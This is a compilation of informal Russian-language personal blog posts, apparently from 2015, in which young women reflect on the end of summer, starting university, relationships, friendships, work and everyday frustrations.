Самое гадкое, что сейчас даже не могу поплакать, потому что завтра в универ ехать на линейку. Опухшее лицо будет не очень в тему праздника ахахахах

Пришла пора теплых свитеров, шарфов и кофе в стаканчиках.Хотя, кофе в стаканчиках вне сезона всегда со мной.Хочется гулять в парках, говорить о простом, утыкаться носом в чью-то шею и пить вино.Вино, впрочем, тоже вне сезона.) Давай, удиви.)

однажды в проёме показывается женщина. с безупречным силуэтом, а может и не совсем. с прекрасно уложенными волосами (можно с чехардой на голове), восхитительным макияжем (или а-ля натюрель) и, самое главное, она безумно женственна. женское начало так и струится из неё сквозь дверную щель.

всё как и раньше. я ношу удобную одежду преимущественно: кеды и кроссы, джинсы и шорты, свободные футболки и толстовки. простые, как и я сама. конечно, есть и платья, и юбки, которые я пялила на себя с небольшой, но всё-таки неприязнью, а вернее - непривычкой.

непривычкой, потому что статус женщины обязывает позволять себе слабости. позволять себе опоздать на маршрутку из-за высоких каблуков или долгой укладки, позволять не брать всех нужных предметов, а брать маленькую сумочку. позволять быть не готовой к форс-мажору. но это сложно, сложно это позволить себе в нашем мире и раскрыть в себе женское начало. хотя бы просто начать. потому что, лично во мне, очень часто побеждала практичность. "нужно взять пластырь, салфетки, и лучше в кедах, вдруг бежать придётся, и в юбке не надо - мало ли упаду, это будет позор". и маленькая женщина захлопывала перед моим носом дверь.

но однажды её это не устроит. и она заставит купить помаду. и не гигиеническую. и даже - красить губы ею! при том - с удовольствием. потом потребует надеть платье. но не "абы какое", а красивое. и сделать это заставит с чувством собственного достоинства.

да, вряд ли так уж сразу я встану на высокие каблуки, и откажусь от огромного багажа (где всё для подстраховки и даже чуточку больше), буду ходить в платьях и юбках. и так махом стану женственной. но появление этой "женщины" на пороге моего сознания не может не радовать.

и я очень желаю, чтобы своевременно каждая девушка столкнулась с этой своей собственной внутренней женщиной.

я тут думаю, как хорошо что у меня только одна сраница вк, и нет никаких заброшенных
а то натнешься на старые 2009 года например страницы знакомых и как начинаешь угарать

даже итоги не хочу делать. я рада, что лето закончилось. все свелось к тому же, что и в том году. я отсеиваю людей из жизни.постоянно.все больше и больше.а может они меня? кхм. скорее нет. хотела написать себе 1 ситуацию и просто потом когда-то перечитать и посмеятся.

так вот.пошли в клуб. почему всегда творитя такой треш, когда мы ходим к леб. меня позвали девочки (аня и ее подруги) а мне уже надоело нечего не делать и я пошла.+ там вайтпати. так вот. перед этим пить шампанское я не захотела и предложила им водку с моря(с завода виноградную) мы ее пили. на вайтпати нафоткались. красивенно было! а потом я алену там встретила. она была у светы на др. я ними общалась, к ним за столик бегала. + аня зналаЮчто когда я пьяная, то в клубах не против познакомится и веселится. и мы начали охоту. а все с дамами и мужики здоровые.у меня аж настроение упало. ну мы танцевали и тут. я увидела мужика классного(как хозяина бирвиля) мы по нему с аней сохнем. бородатенький, ухоженный, при деле, в костюме. а потом оказало это был не он, а руслан!о нем позже.так же я заметила мальчика, блондина, лет 18-19 и он мне тоже очень понравился. танцевал недавлеко и тут к нему девка какая-то подбежала. честно, я офигела. я вообще не влюбчивая и в нашем городе темболее никто не нравится мне. а тут 2 симпатии явных. я злая пошла к алене пить! света мне наливала и мы тусили, отмечали. аню с девочками потеряла, но они подходили ко мне. потом ярика увидела возле нас с кальяном, кальян курили. потом вот так вышло, что ярик был с яриком, а друг того ярика была Руслан - тот бородатый. как-то у нас завязалось знакомсвто и мы вместе говорили там, тусили. как-то он отошел, либо я ушла и тут Дима (белый мальчик) и мы тоже познакомились. взял номер и тут руслан прибежал. я еще успела выходя на улицу упасть на больное колено! и я в крови стою с левым мальчиком. ну я с димой попрощалась а тот в шоке с меня был. мы еще погуляли там. и потом… то, о чем.. я вообще в шоке с этого в общем. он повез меня на такси(и друг) домой.к себе. никто даже не знает об этом. дома он меня и разбул, футболку дал, спать уложил. мне было так с утра непонятно. ну не каждый день просыпаюсь в обьятьях мужика бородатого. + он действительно такой напористый и видно, что. .ну понятно в общем. и смешная ситуация с носками была у нас. вызвал мне такси, я уехала. еще прикол. живет возле моего универа! ну бл. и дома мне было так не по себе. у нас то ничего не было, он наоборот говорил что я нормальный мужик и насиловать никого не собираюсь и я ему тиипо понравилась и ему было меня жаль (из-за колена) он его обработал и пластырей наклеил. вот я была дома и в шоке. потом в киев поехала. а он звонил мне!писал! и эти дни я серьезно была влюблена в него и думала, что у нас что-то будет и что это именно тот, кого я искала.. но бл. когда я ехала домой из киева, он спрашивал как часто у меня нет родителей дома и могу ли я у него спать. ну долба.е..е..б. зачем все портить. аня в шоке была с этого, что он такое пишет. ну я то согласна с ней. ну обидно. в какой-то степени обидно. а так, лето, пока. скучать не буду.

Не прошло и суток с начала этих отношений, а я уже боюсь конца. В этом моя проблема. Я всегда думаю только о плохом. Он весь такой разносторонний, а я такая серая мышь, которая вечно не может нормально общаться с людьми. Я слишком закрытая. Это мешает. Я боюсь надоесть ему. Он перевернул мой мир. Он заполнил мои мысли. Я ведь поклялась, что не допущу такого. Я оплошала. Теперь главное не оплошать с ним. Я хочу чего-то большего, чем отношения на месяц. Я хочу к нему сейчас. Меня пугает это

До конца лета осталось 15 минут и мне неимоверно грустно и обидно, что этот последний день я провела не так, как хотела. Я работала все лето и буду дальше работать, и завтрашний день будет отличаться от сегодняшнего только датой..но мне так хотелось сделать его особенным.

Вот и подошло к концу это лето. Для меня оно было самым обычным из-за экзаменов, выпуска и поступления, потому что я и не отдыхала особо. Завершающим кадром прощания со школьной и в какой-то мере свободной жизнью стала встреча с любимой классной руководительницей (далее - ОМ) и моими любимыми одноклассниками. "Любимыми" - иначе я говорить не могу, потому что я на самом деле их люблю. Даже спустя два месяца как мы выпустились, мы все та же семья, какой были эти последние два года. Каждый из них мне по-своему дорог. Посидели в кафе, все, кто смог прийти, выпили по паре бокалов вина, поделились друг с другом, кто куда поступил; ОМ рассказала, как ей ее малыши (она взяла пятый класс), говорит, роднее нас все равно не будет, ведь мы ее первый выпуск. Посмотрели несколько новых видео с пз и выпускного, которые еще не видели, посмеялись. Обещали друг другу собираться 5 февраля каждого года и в течение года заходить к ОМ в школу (тем более, что в первые пару недель учебы нам просто придется это делать: то справку занести, то еще что).
Поближе к вечеру некоторые начали расходиться, а потом дошли те, кто все-таки освободился - среди них был и Д . Пока его не было, я и не замечала, что его нет, было абсолютно все равно. Но стоило его увидеть - земля ушла из под ног. Все еще неугасаемая симпатия есть, и самое главное, что он это знает. Сталкиваясь взглядом с этими чертовски красивыми голубыми глазами, чувствовала, что искра эта все еще есть. Когда уже собирались домой, мне повезло, что я пошла с ним и Т , потому что было достаточно темно. А потом они встретили своих друганов, и я просто слилась, даже не попрощавшись. Всем достались прощальные обнимашки от него, а мне нет. Это, видимо, моя расплата за осень. Ну да ладно. Все равно я рада, что увиделась со всеми и в том числе с ним, потому что в следующий раз мы cможем увидеться, только лишь случайно столкнувшись где-нибудь в городе.
Ведь завтра у всех нас начинается совершенно новая жизнь.

Что ж, пора делать выводы и подводить итоги этого лета. Ну, во-первых, это самое скучное и самое хреновое лето, что у меня было, но и у него есть свои плюсы.

—У меня была сказка целый месяц лета.

—Я встречалась с красавцем накаченным.(О даа, моя мечта)

—Я была с парнем в кино.(В первые в жизни)

—Я гуляла в гроде за ручку с ним. (Тоже впервые в жизни)

—Я пила с парнем. Мы были вдвоем.(Впервые в жизни, фак)

—Меня несли на руках в дождь.

—Мы целовались под дождем.

—Я бухала. Ооочень часто.

—Мама ама криминал.(отдельная история)

—Я каталась на спортивном мотоцикле на большой скорости.(Моя мечта)

—Мы лежали и смотрели на звезды.

—Ходили босиком.

—Катались на качельках ночью.

—Гуляла вдвоем с парнем до поздна и вообще шикарные моменты.

—Меня оочень часто носили на ручках.

—Стала опытней и мудрее. Поверила в себя, стала самоуверенней

—Стала раскрепощеней. Легко нахожу знакомства, не боюсь парней(наконец-то)

—Была на крыше ночью.

—Гуляла одна в 5 утра.

—Завела новые знакомства. В основном с парнями.

—Изменилась.Очень сильно.

—Стала самостоятельной.

—Попробовала сэм.

Пусть я и не была этим летом в Одессе, в основном сидела дома и ничего не делала, но я все же получила то, что должна была получить. Значит так нужно. Были моменты, которые я буду помнить, есть воспоминания. Что еще нужно? Теперь мы плавно переходим в осень. Моя пора года. Надеюсь, эта осень будет не хуже лета. Прощай, лето 2015.

Сегодня был достаточно хороший день, если по правде. Вот только начало что-то вообще никак не задалось. Нет, проснулась я вовремя. Просто-напросто заплутала в метро: выходила на другой стороне улицы несколько раз, пыталась спросить у прохожих, но те, как будто бы не из Минска родом. Дошла до того, что у меня началась паника, ибо оставалось минут 15 до начала собрания. Короче говоря, додумалась я сама и уже практически бежала в ун-т, дабы в первую встречу не опоздать. Увидела наконец своих одногруппниц. Ну что сказать… Я так поняла, что мы сами того не зная, разделились на несколько групп. И самое интересное, себя я не могу отнести ни к той, ни к другой. Обидно, конечно, что девушки, проживающие в общажке, уже хорошо знают друг друга и общаются между собой. Я же познакомилась с очень милой девушкой, не поверите, Настей. Вот она мне пришлась по душе, ибо некоторые барышни думают о себе ну слишком много.

Завтра же занятий нет, вместо них большое мероприятие. Встречаемся в половину четвертого, да-да :) Так что у меня еще есть время на отдых.

Погуляла с одноклассницей Т. по вечерней, уже такой полюбившейся, столице. Она мне рассказала про свое бурное (даже немного жалко свой август стало, без обид, винишко) лето, про парней, с которыми общалась. В общем, погуляли мы просто прекрасно. И, вот черт, в самом конце зашли в мак.

Единственная ложка дегтя в чудном вечере - я ужасно подвернула ногу. Нет, не думаю, что с ней что-то серьезное, но все равно довольно-таки неприятное ощущение. А все из-за какого-то парня, который поздоровался со мной, как со старой подругой. И до сих пор ненароком прокручиваю его образ в голове и никак не могу вспомнить.

И да, с 00.00 я без интернета. Думаю вот завтра положить деньги, поэтому напишу только вечером, уже после "Вивата".

Наверное самое время подвести итоги :)
Полюбила это лето от и до. Оно для меня было волшебным.
Самые запоминающиеся для меня моменты:
Наши вылазки на дачу, ночные посиделки в бассейне, откровенные разговоры за чашкой кофе, приезд нашего Москвича, опять же вылазки на дачу, поездка на остров, наши бешенные прогулки на катере ободранный локоть кстати, тренажерный зал, мое поступление, походы в универ, приезд любимой сестры, ночные просмотры "друзей" за шампанским, нахождение атмосферных баров, кофеен и ресторанов в нашем городе, проводы лета вдвоем на даче с <3,
и грандиозные планы на будущее .

Очень стали близки люди, с которыми прошли весна-лето. Спасибо вам. Желаю всем таких людей.
Осень, добро пожаловать.

Все подводят итоги лета, кто-то радуется его окончанию, кто-то грустит! Кто-то школота и завтра 1 сентября. Кто-то университетка и завтра пары. Кто-то завтра работает, так же как работал всё лето. Ну я просто лох, который болел всю последнюю неделю, у которого нос облазиет от "звездочки", тот кто посмотрел 4 сезона "Две девицы на мели" за эту неделю. Тот чьи руки пожирнели и накачались к тому же, и я теперь не влазию в блузки. Тот кто не сможет одеть завтра туфли, потому что у него подвернута нога. Тот у кого каждый день носом идёт кровь. Да здраствует чёрная полоса моей жизни! Давно мы с тобой не виделись, я скучала!

Итак. Итоги дня. Сегодня он был таки разгружочным. Помимо йогурта и кефира я сегодня съела только тушеные овощи с баклажаном (который я не люблю, но получилось очень вкусно) и с мясом. Я не встретилась с леной которая сама предложила, обещала после работы набрать и весело на это забита. А я как дурочка прождала, отвергла предложения других и пиздецки сильно обожаю когда так поступают люди. Егоистичные твари! Как-будто у других планов не бывает. Так, дальше. Сделала маску для кончиков волос: нанести на кончики оливковое масло. И я сидела с этим часа 2. Масло правда было равным давно испорченое. Потом решила принять ванну. Еле отмылась от всего этого масла. Но кончики перестали быть как солома. Может быть такой мгновенный эффект? И кажется сегодня я усну не позже 12. Спасибо Натульке которая разбудила меня звонком в 11 утра, иначе я спала бы до часу хд а еще мне звонили с деканата 7 раз. Но я тактично не брала трубку.

Ненавижу этот день, он ёбнутый.

На работе обосрали, лето уходит, впереди непонятно что…

Но я не отчаиваюсь, муж налил мне вискаря с колочкой и знаете все посты на вьюше прям стали ярче и прям глубоко в душу))

рстью срать короче) я не сдамся без бою!

Вот и лето пролетело. Но если честно, то я как-то не особо переживаю по этому поводу, как некоторые знаете ли. Просто вы вечно ноющие в конце лета, что оно заканчивается, задрали. Сколько можно разводить эти сопли? Жизнь то на это не заканчивается. Да, нужно снова возвращаться на учебу - школы, универы - но блин это не конец света. Будет много прекрасного впереди: бабье лето, новогодние праздники, снежок. Бля во всем нужно находить прекрасное, пессимисты хреновы. У взрослых вон и лета то не было, ибо работа круглый год, а вы тут сопельки развесили. Давайте лучше пожелаем друг другу удачного нового учебного года: кому-то удачно сдать ЕГЭ и поступить в конце года, кому-то написать крутой диплом и защитить его на отлично, кому-то просто успешно сдать сессию, без пересдач, а кому-то просто хорошо учиться, что бы вот потом все выше перечисленное сделать. Давайте не будем грустить, а лучше будем верить, что в новом учебном году нас ждет что-то классное. Но все равно как не крути саунд завтрашнего, да и 2 сентября - Break the Rules… I don't wanna go to school, I just wanna break the rules.

Лето, я тебя запомню

Событие: поездка в Питер, работа

Книга: Кен Кизи "Над кукушкиным гнездом"

Песня: Агата Кристи - Как на войне

Фильм:" Агенты А.Н.К.Л."

Сериал:" Волчонок"

Место: Питер

Разочарование: Ж

Фраза:" Ну йобана"

Это лето было другим. Я встретила его в палатке на Красивом берегу, лежа в объятиях человека, который в последние дни этого лета очень сильно нагадил мне в душу. Я половину (даже больше) этого лета провела с ним. И больше всего разочаровалась именно в нем. Потому что даже если мы друзья (как он говорит) - друзья так не поступают. Так мерзко, исподтишка. Забыли о нем.

Питер. Ох уж этот Питер! В Питере душа освободилась, полетала и вернулась. Вернулась как раз когда не звали. Без души было бы лучше. Было бы лучше, если бы она осталась там, у Финского залива. Надеюсь, мы туда еще вернемся.

Я поняла, что красива. Денис и его выбор так сильно пошатнули мою и так низкую самооценку, но то количество парней (замечательных), которые ухаживали за мной этим летом и ухаживают до сих пор, говоря не просто слова, а искренне так считая - что я красива - помогли мне это понять. И эти фотографии. Все! Особенно те, что делал никому неизвестный осветитель Театра Пушкина. Черт, я действительно красива! Спустя целых 20 лет я поняла это. А, может, лишь к 20 годам я стала такой.

Работа. Впервые с тех пор, как трудилась в Луче я пошла работать. И не просто куда-то, а в самый популярный итальянский бар города. Что для меня работа официантом? Это ноль карьерного роста и очень много потраченных нервов. Но неплохие деньги (для студента). Но больше я туда не вернусь.

Лето было грустным, не скрою. Но было и много прекрасного. Я не могу передать эти моменты, даже не могу в точности их вспомнить. Но даже моменты с Ж были прекрасны (некоторые), хотя сейчас я с трудом вспоминаю их, но только ради них его можно было бы простить. Я не прощу. Пускай он останется в этом бесконечно тяжелом лете. И часть меня, та, что так легко прощает и привязывается, останется с ним.

Прощай это лето, прощай Ж… Женя.

Я сейчас так зла. Я приехала на квартиру с родителями. Девочки красили друг другу волосы. Мама сказала им, чтобы никакие парни на ночь не оставались. Они сказали, что да, поняли. Когда родители уехали, Надя меня спросила: "Вика, зачем ты им рассказала?!" Я сказала, что мама знает, что у них обеих есть парни. Ладно, проехали. Потом общение было слегка натянутым. Надя спросила, не против ли я того, что у нас переночует её сестра, наша бывшая одноклассница, Ай-жанна. Я была не против, почему бы и нет? Так ее привёз А., парень Нади. Девочки приготовили суп, и мы начали накрывать на стол. Ладно. А. с нами поужинал. Но потом он вел себя так, будто не собирается уезжать. Как-то загадочно смотрел на Надю, будто ожидая чего-то. Ещё я, сидя в зале, слышала, как А. в комнате что-то сболтнул, а Надя шепотом его заткнула. Классненько. Скоро должны были приехать родители Наташи, привезти ей документы. А. быстренько свалил в машину на время их приезда. Но они даже не вошли в квартиру. Потом меня переклинило, и я начала уборку на кухне. Там был жуткий беспорядок (чем они вчера, блин, занимались?!) Я ещё, как дура, спрашивала у девочек: "А вы не против, если я внизу полку разберу, кастрюли сложу вместе, а крупы туда уберу?" Они сидели на диване, отрываясь от телевизора, говорили, что не против. Почему я такая тупая? Пока разбирала нижний шкаф, села на пол. Ко мне подошли Надя с Ай-жанной (Наташа разговаривала по телефону в другой комнате) и сказали: "Вик, есть разговор. В общем, у А. сломалась машина, он никак не может ее сделать… Можно он сегодня у нас переночует?" Я отвернулась, ибо не хотела соглашаться. Промямлила что-то насчёт того, что мне неудобно, но они только уговаривали. В итоге я согласилась: "Единственный раз". И вот, он сейчас пришёл, и мне хочется плакать. Нет, он хороший, но совершенно левый парень в квартире!!! А мне ещё спать с Ай-Жанной на одном диване. Бесит это все ужасно. Ещё бесит, что я сижу в неудобном кресле, пока девочки делают маникюр на МОЕМ диване. Вправьте мне мозги.: (( (Обиднее всего, что мне нагло врут. Возможно, они ещё утром придумали историю о сломанной машине. Я ведь спрашивала, точно ли не будет никого ночевать. Специально сейчас буду сидеть с недовольным лицом. Сейчас Надя так сделала, потом парень Наташи " задержится" и опоздает на маршрутки. И так и будет продолжаться. А я теперь даже в туалет сходить не могу. И вот что мне делать, чтобы они не садились на шею? Хотя они уже, осталось только ножки свесить. Так хочется сказать это маме, но понимаю, что этого делать ни в коем случае нельзя.: (((

И тааак приступим же. Давным давно я вела свой блог на вьюи. Он строился под девизом- поиски себя. То цитаты, то подборки фотографий, то просто тонны картинок. Но где-то в девятом класс (мб позже) на вьюи пришла жесткая реклама. Да и ведение дневника стало не так актуально. У меня появился мч и он не одобрял различные блоги, тк не знал, что это такое. А естественно показать ему я бы не смогла. Уж что-то личное должно быть у меня. Так скажем моя отдушина. Забросив вьюи, я периодически заходила и что-то ретвитела или просто лайкала и то это было от безделья.

Время шло, сейчас 2015 год я наткнулась на группу вк называется -diary.

Эта группа занимается "пищевыми дневниками" т.е это дневник питания, который помогает считать калории и просто следить за своим питанием и смотреть как это делают другие девчонки. Я создала дневник где-то в феврале. Этот дневник я забросила на все лето, и наивно пологая, что про меня забудут и его не удалят. (там очень строгие правила ведения дневников, регулярно каждые 2 дня должны появляться обновления) Сейчас очень жалею об этом. Там столько было текста, столько приятных событий. Я бы хотела все перечитать. Были переживания по поводу диплома и моей дипломной работе. Об отношении, спорте и о книгах.

Сегодня я хочу создать новый дневник. Но решила сделать его в своем собственном блоге. Тут я сама себе хозяйка, мои правила, мое оформление.


Немного познакомимся. Меня зовут Катя Вернер. Мне 19 лет. Я закончила техникум. Выучилась на медицинскую сестру.

Сейчас я работаю по своей специальности, в детской поликлинике. Сижу на приеме у гастроэнтеролога. Пока училась я работала в урологии- хирургии. Так и думала что останусь там работать, тк хорошо знакомы с коллективом, и уже 3 года работаем все вместе. Но меня переманили в поликлинику более веской зарплатой.
Работа в поликлинике сидячая. И мб даже скучная, но пока терпимо. Посмотрим что дальше будет.
В этом году я подала документы на получение высшего образования. Учится буду на юриста. Заочно. Правда обучение будет дистанционное, это будет трудно, но я люблю получать трудности и ломать себя.


У меня есть молодой человек, вместе чуть больше трех лет. Очень люблю его. Конечно как все девочки мечтаю о совместной жизни, но ему учится еще два года. По этому терпеливо жду :D


А за эти два года решила работать над собой. Вот именно по этому завела дневник. Хочу совершенствовать себя во всем.
Планирую в своем блоге делится отчетами о питание, тренировках, о том что происходит в моей жизни, о книгах, фильмах и музыке.
Я думаю разделю этот пост на 2 части.

А пока всем сладких снов, любите себя.


УУУ то чувство, когда он тебе не парень даже(друг, просто друг!), а ты все равно боишься ему говорить о том, что ходила на пробежку с другим парнем! И не важно, что этот другой парень сохнет по тебе! А че я, я дружу со всеми и нафиг мне не нужна ваша любовь! Налюбилась вдоволь, хватит!

Привет, ОСЕНЬ! Привет, учеба! Привет, задротские ночи! Уже завтра первое сентября! И мне предстоит уже на первой учебной неделе куча дел: сдача учебной практики + написание курсовой. Конечно, курсач я могу писать спокойно до 1 октября, но! Я же знаю, что с моей работой, необходимо начать прямо сейчас! До отпуска, который я торжественно отдам учебе и конференциям, осталось 3 недели! Таня, ты же стойкая! А наконец, с первого сентября меня официально переводят на ставку старшего! Дождались :) На 1 сентября: съездить в универ, попросить новый дневник практики (ведь в прежнем инспектор написала неверно мое отчество) ; съездить в офис и заполнить уже этот дневник; встретиться с моим будущим магистром бизнес права; ну и вперед на лекции по информационным системам и земельному праву! День обещает быть насыщенным! А сегодня я встретилась таки со своей дорогой армянкой, которая, как и обещала, привезла вкусных конфет с Армении! О да! А еще, сегодня я узнала, что в люблино нигде нет имбиря! Это очень плохо; ( Так же, я искала помаду "сочная вишня", но, поиски успехом не отличились, в отличие от дня в целом! Уверена, завтра меня ждет отличный день, который будет только радовать! И всем желаю гармонии и прекрасного 1 сентября! Один из любимых дней с детства!

Не особо то хотелось писать итоги этого лета. Но считаю, что всё-таки надо. Все пишут же :D А вообще, надо постараться выделить всё хорошее, может окажется, что не всё было так плохо ;)

Но, начну с плохого.
Я потеряла почти всех друзей. Эта ёбаная армия явно не давала мне спокойно жить и отдыхать. И, всё-таки, я поняла нашу причину руганий с Ромой. Она начала подкатывать, когда приближалось 3 июля (дата призыва). Он был постоянно на нервах, я впала в депрессию, и от этого было хорошо не мне и не ему. Практика была отвратительной. Я ОЧЕНЬ много сидела дома. Я мало с кем общалась. Я ОЧЕНЬ много плакала. ОЧЕНЬ много злилась, раздражалась и психовала. Пропустила много интересных событий этим летом, ибо не с кем было их посетить. Поняла, что многие пишут мне чисто от скуки, чисто потому, что больше не с кем пойти. Я даже не купалась этим летом. Да и на море была раз 5 всего. Почти не загорела, моё самое "бледное" лето. На свадьбе мне было грустно и одиноко. И, пожалуй, это лето одно из самых худших в моей жизни.

А теперь постараюсь выделить хорошее.
Начну с сессии. Первая сессия, закрытая без долгов! Рано начались каникулы. Всё-таки иногда мне удавалось выбраться из дома, и эти вылазки были довольно неплохие. Побывала на фестивале красок холи. Впервые посетила Пионерск и Малиновку. Побывала в музее черепов и скелетов. Побывала на форту №3. Побывала в музее пыток. Сходила в Кафедральный собор, в котором не была уже очень много лет. Покаталась на трамвае впервые за очень много лет. Сделала себе лисичку хной. Вполне отлично встретила свой день рождения, получила классные подарки. Даже встретилась этим летом с одноклассниками. Прочитала (!) "Дом странных детей" и уже дочитываю "Город пустых. Побег из дома странных детей". Знаю, мало книг за лето, но я почему-то много не читаю. И мне не особо стыдно за это, хотя читать всё-таки можно было бы побольше. Всё-таки, мне удалось скинуть примерно 5 кг, и даже мамина подруга сказала, что я похудела.

Даже решила посчитать, сколько вас примерно прибавилось за это лето, примерно около 80 человек. Спасибо вам. Спасибо тем, кому действительно это интересно читать, и тем, кто меня поддерживает. Я безмерно вас люблю.

А теперь радуйтесь. Постов станет намного меньше. Ибо привет учёба, привет 3 курс. Нам уже задали домашку почти по всем предметам, и на первую неделю уже дохера всего учить. Ох, умоляю, пусть этот год будет легче, чем нам рассказывают. Хотя, это, наверное, будет самый сложный год. Самый сложный курс. Ещё и эта армия. Но, удачи мне.

И удачи всем остальным студентам, школьникам. Особенно первокурсникам и 11 классу. Пусть всё сложится в вашу пользу в этом году и всё будет хорошо ;)

3 summer things :)

/так как я не собираюсь писать пост с итогами лета и всем в таком стиле, я просто обязана выполнить этот флешмоб, тем более, идея эта очень интересная. так что спасибо большое любимой daria-snow. если честно, я старалась следить за лентой, но могла кого-то пропустить, так что, если кто-то уже делал, а я передаю, глубоко извиняюсь ( :D), так вот, передаю: mpcfsgr, laheyy, lyanna-stark, una-mattina и beenzino (помогаем тебе вернуться на вьюи, пииишиии: з) /

Правила: называем 3 слова (это может быть либо существительное, либо глагол), которые ассоциируются с этим летом и кратко обосновываем свой выбор. Постим под тэгом "3 summer things".

отношения

это лето было наполнено отношениями. да, я не видела этих людей вживую, да, возможно никогда и не увижу. но я питала к ним очень теплые чувства, независимо от расстояния. и не важно, как все закончилось.

ценность

этим летом уехал мой брат. я не видела его уже два месяца, но через месяц сама поеду к нему. я поняла, как он был мне ценен. да, может я и не скучаю каждый день, но я по-настоящему чувствую себя тоскливо, когда понимаю, сколько лет мы прожили вместе, в одной комнате, бок о бок. как он растил меня, как мы дурачились. как он мне дорог, я поняла тогда, когда он уехал, хотя так хотела этого. и все равно я уверена, что за пару дней пребывания с ним, он успеет меня достать. мы ведь семья, черт :D

перемены

да, это лето не было наполнено прямо спонтанностями и разными вещами, которые приводят к резкой смене чего-то. нет. просто, перемены в поведении, характере, отношениях с людьми, во внешнем виде. все это маленькие шаги к идеалу, так ведь? перемены к лучшему, я надеюсь.

Ну вот. Уже очевидно. "Ложусь спать. Ложись рядом" "мне еще неохотно спать". Бумиранг блин. Я отшиваю Ви, Юлик отшивает меня.

Последний день лета прошел незаметно. Вроде бы все как обычно: я помогала маме на кухне, мой сидел за компом и смотрел видяшки, папа смотрел телик в перерывах между работой. Однако было сегодня еще одно событие. Мы поехали в центр быстренько пробежаться по магазинам, и когда мы с мамой вышли и подошли к нашей машине, то папы там не было, а машина была, естественно, закрыта. Мы стали ждать, пока он тоже вернется из магаза, но я заметила одну деталь: около входа стояла десятка Лета. Буквально через минуту он сам вышел из того же магаза и заметил меня. Опустил взгляд, что-то забрал из машины, направился обратно ко входу, и снова на ходу начал смотреть. Я же стояла, не скрывая того, что тоже заметила его. По выражению лица было непонятно, то ли он рад меня видеть, то ли не хотел видеть вообще. Я ждала, пока он хоть как-то поздоровается, но в последний момент сама подняла руку, чтобы махнуть. Но в этот момент он снова перевел взгляд и не увидел этот жест.

В последний день лета человек, ставший для меня когда-то Летом, заставил наконец-то поверить, что все это было в последний раз.

Совершая безумства, где брать смелость, откуда черпать силу. Кто мы такие, рабы чувств, эмоций и привязанностей, сидящие в удобной зоне комфорта. Сколько нам нужно неудач, чтобы обратить их все, в одну большую удачу, счастье. МЧС предупреждало о грозе. Грозу не видела, но в себе её чувствовала.

Убейте во мне ребёнка, Который так жаждет чуда. Он тянет к любви ручонки, Не зная, что больно будет. Он требует только ласки, Ему не нужны конфеты. Он верит в добро и сказки, Убейте его за это

Прощай, лето!

Событие: экзамены, поездка во Львов

Книга: Стивен Кинг "11\22\63"

Песня: Demi Lovato - Cool for the summer

Фильм: «Тарзан "
Сериал: «Американская семейка"

Место: Львов

Разочарование: Люди вокруг.
Фраза: «Be yourself"

Настроение в жопе. Написал Ви. Снова таки нахера писал? Непонятно. Типа как дела как дела ок ок. Заебись поговорили ахах блин. Может я еще так реагирую потому что каждый раз когда звучит эта мелодия надеюсь что мне пишет другой человек. А тут Ви. Да еще и нормально поговорить не может. Выебывается. Не надо мне такое.

Добрый вечер. Не могу поверить, что сегодня был такой насыщенный классный день. Я многому не могу поверить. Встретили впервые с ребятами с факультета. Почему все такие шикарные… Нет, пока я мало кого знаю, но много с кем знакома. В группу попала вроде бы неплохую. Прикольные ребята, хотя конечно же надо много о них узнать. Завтра первый день в вузе. Завтра будет экономическая игра.Кажется, во мне заканчиваются слова, потому что сегодня был напряженный день. Думаю, я уже никакая. Надеюсь, что завтра будет настроение написать пост поподробнее ♥

Привет всем) вот и еще одно лето подощло к концу, оно было невероятным, не таким как все, но я много поняла.Например, что обязательно ровно половину лета нужно провести не дома, провести его с пользой, провести немного отдохнув, нежась на пляже у моря, и уже оставшиеся 3 недели провести с теми близкими для тебя людьми, которые тебя за время не предали, остались с тоой рядом. Которые ценят тебя не за то, что ты рядом, а за то, что рядом именно ты, которым даже не надо говорить, что тебе плохо, они и так всю чувствуют, можно бесконечно меня осуждать, ведь, казалось бы, миг назад, я была самым несчастным человеком на свете, плакала, и не понимала, за что мне эта боль, но теперь понимаю, за каждую каплю счастья нужно платить океан ненастья, за каждого друга нужно платить годы проверки. Сегодня весь день думаю о лагере, точнее о людях, которых я там обрела, спасибо хочется сказать некоторым, это удивительной девушке, которая на многое открыла мне глаза, она всегда светится, и никогда не отчаивается.моему напарнику, который тоже на многое открыл глаза и еще одному редкостному долбаебу.

Каждой мысли, вроде "Мне страшно не хватает этого [или того] человека", я отвечаю: "Ты просто устала, дорогая. Пора спать, завтра опять всех будет хватать".
Каждый вечер это происходит всё раньше.

Прости за эту минутную слабость. Спокойной ночи.

(via lifesketches )

Как обычно люди уходят без объяснения причины. Вот и немец слился. Не скажу, что сильно удивлена, но легкий осадок присутствовал. Ну да и ладно. Потеряла конечно языковую практику, вот за это больше всего обидно. Теперь уверенно могу сказать, что все мудаки, жаждавшие развести меня на секс, свалили и больше не будут дурить голову.
Остался только мой милаш-историк. Вижу в нем родственную душу, отсюда и чувство теплой, безграничной нежности. И это плохой знак. Безумно хочу его увидеть через две недели, когда у меня будет возможность свалить на концерт в другой город к нему. Погулять с ним по городу до концерта или даже просто посидеть у него на квартире, в идеале потом там же переночевать, потому что не хочу зависать на каком-нибудь флэте с бухущими малолетками. Но чувствую, Вселенная этого не позволит. По иронии именно в эти дни он соберется ехать домой. Уже представляю, как меня будет трясти, когда буду спрашивать.

Ну вот и всее. Второй день уже в Николаеве и завтра паарыыы.

Расписание таки появилось. В общем то я и ожидала, т.к. ну не могли нас вот так просто кинуть, наши преподы слишком любят нас мучать, что б вот так, грубо говоря, освободить нас от пар.

Итог: завтра у меня 2,4 и 5 пары. 3 по расписанию есть, но получили от преподши имейл, что отработаем этот семинар письменно и не будем тратить время и тупить сидеть на паре.

А еще у нас новый препод по немецкому (или преподша, мы еще не знаем). Вы возможно помните, как я жаловалась на нашу кучерявую тупую диву, которая вела у нас немецкий. Вот ее фамилии в расписании нету. Все же это немного волнительно. Главное что бы препод был хорошим. Кристинку то мы знали как облупленую, а тут новый человек. Фигерскросд в общем, хоть бы хорошо все было.

А вообще, хочу тему поменять. Но нужно найти время и что-то стоящее слепить.

— А разве я не совершила смертный грех?

— Дело в том, что смертных грехов не существует, потому что никакой смерти нет.

— Значит, люди могут делать все, что они хотят?

— А люди и так делают все, что они хотят.


Иван Вырыпаев

Многие не обладают душевным покоем, страдая от тревог, волнений и постоянных проблем. Также есть различные неудобства в повседневной жизни, раздражающие люди и выводящие из себя ситуации. Моменты душевного покоя – большая редкость.

Но истинный секрет достижения душевного покоя в том, что он определяется не внешними обстоятельствами, а вашим выбором. Выбором взгляда на ситуации и способа мышления.
